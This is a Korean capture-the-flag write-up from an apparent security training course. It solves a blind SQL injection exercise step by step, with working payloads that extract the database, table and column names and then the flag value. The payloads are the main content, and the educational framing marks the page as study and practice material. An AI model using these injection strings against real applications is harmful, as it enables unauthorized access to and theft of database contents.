1. 8 주차 SQL injection 데이터 추출 문제 풀이(4)


※ 주의 사항 :

1. 교육 목적으로만 이용 해주세요.
2. 무단 침입, 데이터 유출, 개인 정보 침해 등 불법적인 활동은 심각한 법적 결과를 초래할 수 있습니다.
3. 개인적인 테스트 환경을 구축해서 실습하시길 바랍니다.


1.1  SQLi Point 4 문제 


image-20240612231453430


1.1.1 sql injection 포인트 찾기



image-20240612231942789

image-20240612232040980

image-20240612232100428

image-20240612232120621

image-20240612232441799

image-20240612232515765


1.1.2 select 문구가 사용가능한 지 체크



image-20240612232820682

image-20240612232803575


1.1.3 공격 format 만들기



1234’ and (select 1 union select 2 where (ascii(substr((select ~~),1,1))>0)) and ‘1’=’1


1.1.4 DB이름 확인하기



select database() limit 0,1

1234’ and (select 1 union select 2 where (ascii(substr((select database() limit 0,1),1,1))>0)) and ‘1’=’1

image-20240612233212197

sqli_9


1.1.5 table이름 확인하기



select table_name from information_schema.tables where table_schema=’sqli_9’ limit 0,1

1234’ and (select 1 union select 2 where (ascii(substr((select table_name from information_schema.tables where table_schema=’sqli_9’ limit 0,1),1,1))>0)) and ‘1’=’1

image-20240612233431791

flagHere


1.1.6 column 이름 확인하기



select column_name from information_schema.columns where table_name=’flagHere’ limit 0,1

1234’ and (select 1 union select 2 where (ascii(substr((select column_name from information_schema.columns where table_name=’flagHere’ limit 0,1),1,1))>0)) and ‘1’=’1

image-20240612233608694

flag


1.1.7 data 추출하기



select flag from flagHere limit 0,1

1234’ and (select 1 union select 2 where (ascii(substr((select flag from flagHere limit 0,1),1,1))>0)) and ‘1’=’1

image-20240612233800643

segfault{~~}

댓글남기기